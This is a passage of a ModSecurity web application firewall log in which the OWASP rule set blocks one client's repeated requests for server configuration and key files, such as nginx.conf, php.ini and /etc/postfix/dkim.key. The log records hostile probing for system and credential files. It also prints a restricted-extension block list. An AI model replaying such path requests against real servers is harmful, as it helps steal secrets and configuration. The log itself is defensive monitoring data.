&quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/lighttpd/lighttpd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuetAAAAAM&quot;]
[Sun Mar 01 20:26:11.186226 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/lighttpd/lighttpd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuetAAAAAM&quot;]
[Sun Mar 01 20:26:11.186432 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/lighttpd/lighttpd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuetAAAAAM&quot;]
[Sun Mar 01 20:26:11.231446 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mail/pop3d.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuetgAAAAM&quot;]
[Sun Mar 01 20:26:11.231962 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mail/pop3d.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuetgAAAAM&quot;]
[Sun Mar 01 20:26:11.232124 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mail/pop3d.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuetgAAAAM&quot;]
[Sun Mar 01 20:26:11.300063 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mail/smtpd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueuQAAAAM&quot;]
[Sun Mar 01 20:26:11.300539 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mail/smtpd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueuQAAAAM&quot;]
[Sun Mar 01 20:26:11.300693 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mail/smtpd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueuQAAAAM&quot;]
[Sun Mar 01 20:26:11.322760 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mail/smtpd.relay.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueugAAAAM&quot;]
[Sun Mar 01 20:26:11.323264 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mail/smtpd.relay.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueugAAAAM&quot;]
[Sun Mar 01 20:26:11.323425 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mail/smtpd.relay.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueugAAAAM&quot;]
[Sun Mar 01 20:26:11.345827 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mosquitto/mosquitto.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueuwAAAAM&quot;]
[Sun Mar 01 20:26:11.346396 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mosquitto/mosquitto.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueuwAAAAM&quot;]
[Sun Mar 01 20:26:11.346612 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/mosquitto/mosquitto.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueuwAAAAM&quot;]
[Sun Mar 01 20:26:11.462183 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/nginx/nginx.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuewAAAAAM&quot;]
[Sun Mar 01 20:26:11.462726 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/nginx/nginx.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuewAAAAAM&quot;]
[Sun Mar 01 20:26:11.462894 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/nginx/nginx.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuewAAAAAM&quot;]
[Sun Mar 01 20:26:11.577987 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/opendkim.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuexQAAAAM&quot;]
[Sun Mar 01 20:26:11.578581 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/opendkim.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuexQAAAAM&quot;]
[Sun Mar 01 20:26:11.578784 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/opendkim.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuexQAAAAM&quot;]
[Sun Mar 01 20:26:11.624307 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/opendmarc.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuexwAAAAM&quot;]
[Sun Mar 01 20:26:11.624882 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/opendmarc.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuexwAAAAM&quot;]
[Sun Mar 01 20:26:11.625101 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/opendmarc.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuexwAAAAM&quot;]
[Sun Mar 01 20:26:11.647491 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/php.ini&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueyAAAAAM&quot;]
[Sun Mar 01 20:26:11.648071 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/php.ini&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueyAAAAAM&quot;]
[Sun Mar 01 20:26:11.648297 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/php.ini&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueyAAAAAM&quot;]
[Sun Mar 01 20:26:11.670516 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/postfix/dkim.key&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueyQAAAAM&quot;]
[Sun Mar 01 20:26:11.671057 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/postfix/dkim.key&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueyQAAAAM&quot;]
